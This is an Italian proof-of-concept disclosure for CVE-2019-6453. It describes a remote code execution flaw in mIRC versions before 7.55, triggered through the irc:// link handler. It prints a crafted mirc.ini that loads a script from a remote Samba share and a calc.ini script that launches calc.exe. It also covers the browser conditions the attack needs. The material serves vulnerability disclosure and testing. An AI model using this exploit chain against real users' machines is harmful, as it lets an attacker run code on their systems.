
Prova di concetto per CVE-2019-6453
Abbiamo trovato una vulnerabilità di Esecuzione di Codice Remota in mIRC attraverso il gestore di protocollo URI irc://. Poiché mIRC non utilizza alcun tipo di sigillo come -- per contrassegnare la fine dell'elenco degli argomenti, un attaccante può passare argomenti a mIRC tramite un link irc:// ed eseguire codice arbitrario caricando un mirc.ini personalizzato da un server file Samba controllato dall'attaccante. Si noti che ircs:// funziona allo stesso modo.
La proof of calc richiede tre file: mirc.ini, calc.ini e poc.html. Supponiamo che un server file Samba sia in esecuzione sul lato dell'attaccante. Ai fini dell'esempio, i seguenti frammenti di codice assumono che sia in esecuzione sull'host 127.0.0.1 (cioè sostituisci 127.0.0.1 con l'indirizzo del tuo server nei file seguenti per provare).
mirc.ini è un file di configurazione personalizzato che dovrebbe trovarsi in C:\mirc-poc\mirc.ini sul server file.
[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini
calc.ini è un file script remoto che dovrebbe trovarsi in C:\mirc-poc\calc.ini sul server file.
[script]
n0=on *:START: {
n1= /run calc.exe
n2=}
Visitando semplicemente poc.html dovrebbe funzionare supponendo che mIRC sia impostato come gestore predefinito per lo schema URI irc:// e che il browser non codifichi il payload. A seconda del browser e della configurazione, potresti comunque ricevere un prompt (non è il caso su Firefox).

Questo PoC funziona per mIRC <7.55.
Puoi attivare il PoC su Edge 42.17134 (ultima versione preview) e Firefox 64.0.2 (ultima release). Non funziona su Chrome per via del modo in cui Chrome gestisce i protocolli URI (l'URI viene codificato prima di essere passato all'applicazione).